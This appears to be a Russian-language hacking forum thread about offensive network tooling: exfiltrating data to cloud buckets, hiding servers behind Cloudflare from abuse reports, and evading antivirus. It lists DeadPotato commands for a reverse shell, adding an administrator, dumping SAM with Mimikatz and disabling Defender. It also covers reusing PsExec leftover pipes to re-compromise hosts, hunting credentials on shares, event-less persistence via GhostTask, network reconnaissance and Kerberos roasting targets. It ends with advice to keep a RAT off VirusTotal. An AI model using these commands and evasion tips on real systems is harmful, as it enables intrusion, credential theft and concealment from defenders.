Утилиты для работы в сетях

Что касаемо бэкапов. Если вы провели аудит и нашли чувствительную информацию, которую в последствии нужно передать заказчику (если вам дали разрешение) мы ж все таки этичные хакеры, а не х*й кто=)))) То проще всего сначала на сервере заархивировать необходимые файлы используя aes256+salt или любой другой алгоритм надежный. А далее уже можно передать этот архив в облако. Для этого можно использовать бакеты. Просто обывателю наверное не понятно что такое бакет. Иными словами - это контейнер для хранения объектов. Объекты иными словами - это наши файлы. Если используется s3, то это значит формат ключ значение. Ключ - это путь до нашего файла, а значение содержимое. Как-то так.

https://wasabi.com/try-free - есть пробный период. Достаточно просто зарегать учетку и вы сможете пользоваться 30 дней бесплатно, исходящий траффик бесплатный.
cloudflare R2 тоже нормальная темка, но вот только вам придется потратить пару соток рублей чтобы вам ввели карту иностранную для получения доступа к созданию бакетам и апишке. Исходящий траффик тоже бесплатный.

Используйте restic или rclone. Конфигурацию настроить не сложно.

Что касаемо обычных облачных сервисов, то рекомендую mega.nz если вы что-то загружаете на этот форум то лучше используйте его, а не какие нибудь dropmefiles, где удаляются данные.

https://developers.cloudflare.com/r2/examples/rclone/ - как настроить rclone для r2 cloudflare. Предельно просто и понятно.
https://docs.wasabi.com/docs/how-do-i-use-rclone-with-wasabi - как настроить rcloce конфиг для wassabi.

И да хакеры используют R2 если что=) https://xakep.ru/2023/08/17/cloudflare-r2-phishing/

cloudflare - это гигант, услугами которого пользуются как злоумышленники(хакеры) так и простые работяги, чтобы защитить свои ресурсы. Любой адекватный хацкер должен спрятать надежно айпи за клаудом, чтобы хрен кто не мог накидать абузов хостеру, пусть сначала найдет кому писать.

https://github.com/cloudflare/cloudflared - есть вот такая херовина от клауда. Создается туннель и вас не просканит какой нибудь шодан или ценсус, напрямую по айпи нельзя будет ходить вне сети клауда. Такие вот дела. Но я не сторонник подобных скриптов. Можно тоже самое сделать куда проще и хотя бы понимать будешь че ты делаешь, а не тупо скачивать готовые скрипты.

https://www.cloudflare.com/ru-ru/ips/ - берем эти пуллы айпишников. Вся инфра клауда работает через них, R2 в том числе. nginx конфиг настраиваем так, чтобы доступ был ток через эти ip. gpt попросите он сделает все за вас=). Это L7. Дополнительно настройте iptables, но лучше конечно другой современный фаервол чтобы порты все были закрыты,  кроме пулла клауда. SSH разрешите ток для своего айпи.

Готово. Теперь вы знаете почему вы не можете найти реальный айпи адрес сайта, если даже просканируете весь интернет. Любой нормальный сисадмин позаботиться, потратит день чтобы с этим разобраться. 

И да, думаю теперь понятно почему многие организации используют cloudflare R2. Дело в том, что если сервер ходит через пулл айпи клауда, то какой нибудь вассаби юзать не вариант, надо порт открывать и тд вообщем не безопасно=) проще р2 использовать раз уж настроили все по сети клауда

Все  известные C2 уже давно известны всем AV и при попытке залить какой либо shell, получим alert по системе  + SOC, который бдит. Так что как вы написали выше берем cloudflare и устраиваем свои танцы с бубном с shell, даже если там стоит простой Defender. Это просто как дополнение.

Еще один "картофельный" вариант - https://github.com/lypd0/DeadPotato (подсказал куратор на курсе codeby,netO
deadpotato.exe -cmd "whoami"
deadpotato.exe -rev 192.168.10.30:9001
deadpotato.exe -exe paylod.exe
deadpotato.exe -newadmin adm:pass
deadpotato.exe -shell
deadpotato.exe -mimi sam
deadpotato.exe -defender off
deadpotato.exe -sharphound

https://github.com/MzHmO/Exploit-Street сборка эксплоитов начиная с 2023 года

жаль, что в моем случае это не сработает, AV его грохнет при первом же старте...

знакомая репа))

ну там открытый исходный код наверное можно обфусцировать

можно, только сигнатуру еще ни кто не отменял.

PsExec загружает на удаленный хост исполняемый файл 10-ти летней давности и создает службу, которая его запускает от имени системы - для этого и необходимы права администратора.


Сам файл в свою очередь это бинарь из https://github.com/kavika13/RemCom/, хранимый в виде хекса в Импакете.


При запуске он поднимает пайп RemCom_Communication и после подключения со стороны Импакета к этому пайпу создается еще три: RemCom_stdin*, RemCom_stdout* и RemCom_stderr*, через которые уже и ведется дальнейшее выполнение команд и передача вывода. При нормальном выходе (через exit) будет выполнена зачистка - остановлена служба, удалены файл и служба, в результате чего пайпы удалятся.





Однако если из командной оболочки выйти "классическим" способом через Ctrl+C, то зачистка не происходит - в системе продолжает висеть запущенный сервис и наш бинарь. Будет висеть до следующей перезагрузки компа, поскольку сервис создается без автостарта.





Это можно использовать для повторной компрометации машины с низкопривилегированной УЗ. 


Готовый скрипт лежит тут: https://github.com/MzHmO/psexec_noinstall 


По сути, мы просто пропускаем этап установки службы и сразу переходим к работе с имеющимися пайпами.





Для обнаружения уязвимых хостов написал модуль для NetExec - https://github.com/beaverdreamer/nxc-modules


Принцип работы прост: мы с предоставленной учеткой запрашиваем доступные пайпы (через IPC$) и выводим сообщение, если в списке видим RemCom_communication.





Стоит подсветить, что это имя пайпа можно изменить, и если оно было изменено, то этот модуль не сработает.





Учитывая, что сервис не поднимается после рестарта ПК, то имеет смысл запускать на инфраструктуре после недавнего пентеста, либо на скоупе постоянно работающих серверов.

Иногда что-нибудь ценное можно найти на шарах (файлы с кредами, персональные данные, какие-то пруфы реализации целей пентеста), для этих целей можно использовать скрапперы:


PowerView:


Find-InterestingDomainShareFile -Include *.doc*, *.xls*, *.csv, *.ppt*

Либо Snaffler (C#) (https://github.com/SnaffCon/Snaffler)

Python: https://github.com/blacklanternsecurity/MANSPIDER

Оба умеют искать и по названию файлов, и по содержимому.

С точки зрения OpSec это шумно - куча коннектов и попыток аутентификации на все шары в сети, а потому такой подход пойдет, когда нет задачи скрываться.

Более скрытный вариант использования - это запускать инструменты для локального поиска файлов. С точки зрения событий это будет просто поиск файлов в системе.

./Snaffler.exe -i C:\ -s

Ссылки:

- https://www.thehacker.recipes/ad/movement/credentials/dumping/network-shares
- Порт снаффлера на питон https://github.com/asmtlab/snafflepy

Закрепление через планировщик задач не ново, за отслеживание изменений в тасках отвечают события 4698-4702. 


Нам необходимы права системы.

Функционал реализован в https://github.com/netero1010/GhostTask:


- Создание скрытых задач без генерации событий

- Изменение существующих задач без генерации событий

- Удаленное и локальное выполнение

- Выполнение в контексте C2 через исполнение PE в памяти (memexec)


Например, если мы хотим создать задачу, которая будет выполняться от имени Administrator каждую минуту:


GhostTask.exe localhost add beaver "cmd.exe" "/c notepad.exe" Beaver.lab\Administrator second 60

Предположим, что мы попали в сеть в какой-то рандомный сегмент сети на не доменную машину и нам необходимо понять куда дальше двигаться.


Есть вариант просканировать все частные диапазоны, но это недостаточно детально, поэтому первоочередной задачей - понять какие сегменты вообще живые.



Способы ниже основаны на предположениях и гипотезах, так что нужно адаптировать под конкретную ситуацию - я лишь расскажу о своих подходах. Под OPSec адаптируйте сами =))


Из тех способов, что известны мне и использую:


- ARP


- Поиск шлюза и определение других живых сетей при помощи Ping-Scan'a


- Скан типовых портов по всей сети


- DNS (recon + transfer zone)

ARP - используем для разведки в широковещательном сегменте сети.


Можно воспользоваться https://github.com/royhills/arp-scan для сканирования локального сегмента сети. В качестве результата получим перечень живых хостов: их IP- и ARP-адреса, производителя (по маку). Полезно проверять не только сегмент, в котором вы находитесь прям сейчас (условный 192.168.1.0/24), но и другие известные диапазоны сети. Если сети разделены только логически (но подключены в один порт), можно встретить другие устройства, встречал такое в сегментах АСУ ТП.


Пример команды:


arp-scan -I eth0 192.168.86.0/24


Поиск шлюза и определение других живых сетей при помощи Ping-Scan'a


Так же можно узнать в сетевой конфигурации адрес шлюза (часто используют либо .1, либо .254 в случае с /24 сетью) и просканировать всю сеть (частные диапазоны) на предмет наличия ответа по ICMP.  Намеренно опускаю случаи более мелких сетей, потому что тут можно закопаться.


В результате можно считать, что там где прилетел пинг - эти сегменты живые и далее сканировать их целенаправленно.


Для примера если все шлюзы расположены на .1:


nmap -sn -n -oN all_gws.txt 192.168.0-255.1 10.0-255.0-255.1 172.16-31.0.1


Альтернативный способ предыдущему - сканировать всю сеть на типовые порты. Например, 22, 53, 80, 445.


Времязатратнее, но сработает в том случае, если ICMP-пакеты внутри сети ограничены (редкий случай, но все же).


Для всех трех частных диапазонов тебе понадобится примерно 5 часов на сканирование одного порта при рейте 1000 p/s


Можно сделать либо массканом (локальную сеть не просканирует), либо при помощи Nmap с настройками на оптимизацию скорости:


nmap -Pn --privileged --min-rtt-timeout 50ms --initial-rtt-timeout 300ms --max-retries 2 --host-timeout 15m -p T:80,22 10.0.0.0/8





Если все же во время поисков портов удалось найти какой-то DNS сервер (или он прилетел по DHCP), то хватаем https://github.com/darkoperator/dnsrecon и используем его для:


- Попытки выгрузки зоны (можно взять либо из домена поиска в DHCP, либо из имен компьютеров в локальной сети): 


dns -d <domain> -t axfr


- Перебора PTR записей при помощи следующей команды: 


dnsrecon -n <Адрес DNS-сервера> -r 192.168.0.0/16

Этот скрипт в качестве вводных данных берет адрес домена, далее идет в поисковики и ищет через дорки на нем файлы, далее их скачивает и собирает метаданные в csv файл. Поддерживает форматы pdf, xls, xlsx, csv, doc, docx, ppt, pptx.





Эта тулза смотрит один или несколько файлов и проводит анализ (работает только на винде). Поддерживает форматы Microsoft Office, Open Office, и PDF.

Сборник типовых LDAP-запросов, которые можно использовать для разведки корпоративной инфре.


Пригодится для ручного сбора информации, если есть корректная УЗ или LDAP доступен без аутентификации. 


Из тех что показались интересными:


- Получение перечня серверов (имена хостов)


- Поиск аккаунтов с SPN записями, УЗ для керберостинга.


- Различные виды делегирования


- УЗ с отключенным параметром Pre-Auth в Kerberos (ASREP-Roast)


- Получение перечня УЗ без пароля (перезаписывает групповую политику) - эти УЗ будут иметь пустые пароли.


- Получение перечня УЗ, которым необходимо сменить пароль после входа. Такие УЗ, как правило, имеют стандартный пароль или протухшний пароль.


Всю эту информацию собирает бладхаунд, часть этой информации можно получить в графическом интерфейсе, а часть - в результате разбора JSON-файлов. Эта информация полезна тогда, когда автоматизированный способ не подходит.

Статья с примерами запросов: 





В этой статьей чуть глубже разобраны механизмы формирования запросов к LDAP вручную (ну и примеры тоже, куда без них):




В этой статье рассказано про УЗ с пустыми паролями:

и к стати по поводу обфурскации, хотелось еще добавить, что она не всегда работает корректно, а в большенстве случаев AV распознает обфурскацию и убивает shell.
как говориться знаю из опыта.

Не удалось прогрузить медиа

в NetExec добавили аутентификацию по сертификату... классно же)

https://www.netexec.wiki/smb-protocol/get-and-put-files - кстати удобные опции для загрузки и выгрузки файлов о которых мало кто знает.

Не удалось прогрузить медиа

 Еще самое главное, чтобы никто не заливал на VT файл, а пользовался check zilla и более приватными сервисами. Так как после таких манипуляций, спустя полчаса, твоя крыса будет палыхать